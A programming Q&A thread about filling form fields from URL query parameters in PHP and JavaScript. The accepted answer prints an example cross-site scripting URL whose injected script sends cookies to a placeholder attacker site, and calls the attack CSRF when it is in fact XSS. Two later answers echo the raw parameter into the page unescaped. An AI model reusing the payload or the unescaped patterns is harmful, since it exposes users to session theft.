Pre-populating form inputs with URL parameter values

Question

I want to prepopulate a form with variables from a url. How do I do this?

For example:

http://somewhere.com?name=john

Then the name field in a form would be prepopulated with "John", and if there was no name in the URL then the field would be empty and ready to be filled in.

Thanks in advance..

Jess · Accepted Answer · 2011-05-21T02:42:31.623

Well, using php, something like

<input type="text" name="name" value="<?php echo ((isset($_GET["name"]))?htmlspecialchars($_GET["name"]):""); ?>" />

I'm not sure how to parse out the get variables using javascript..

Also, remember to add the htmlspecialchars, to thwart csrf attacks. If someone ran something like: http://example.com/form.php?name="><script>document.location.href = "http://badsite.com?cookies="+document.cookie;</script><class id="
Could turn out badly (just an example, not sure if it works).

score 1 · Answer 2 · edited May 23 '17 at 12:19

The PHP way:

<input type="text" name="name" value="<?php echo htmlspecialchars($_GET["name"]); ?>"/>

For javascript, you should first find a way to retrieve GET variables. Have a look at this: How to get "GET" request parameters in JavaScript?

After you include the function proposed in the answer, you can do the following:

document.write('<input type="text" name="name" value="'
  + get('name')
  + '"/>');

score 1 · Answer 3 · edited Feb 02 '12 at 13:30

1

You use the PHP $_GET['name'] value as the value of the form element. If there is no value set, the value will appear blank, which is what you want.

<input type="text" name="name" value="<?php echo $_GET['name']; ?>'" />

edited Feb 02 '12 at 13:30

Brian Mains

50,520
35
148
257

answered May 19 '11 at 22:18

julio

6,630
15
60
82

Yes, but with php warnings on, it will throw one, and it is bad practice – Jess May 19 '11 at 22:19
that is true, but it's also bad practice to display warnings on a production server-- your point is taken however. – julio May 19 '11 at 22:20
You have a good point. I agree, if it makes the code cleaner, it is usually better. Just an afterthought – Jess May 19 '11 at 22:22
1

use this: – William Macdonald May 19 '11 at 22:23

score 0 · Answer 4 · edited Feb 02 '12 at 13:30

Server side is the best way to go (PHP or whatever language your coding in.) It alleviates client side performance issues and overall and is generally more reliable.

If you needed to use JavaScript though, you could do so with the help of this jQuery plugin (or look at the source to see what / how it gets the GET params from the current window.location.)

http://www.mathias-bank.de/2007/04/21/jquery-plugin-geturlparam-version-2/

Then use the $('input').val() function to set the value.

Pre-populating form inputs with URL parameter values

4 Answers4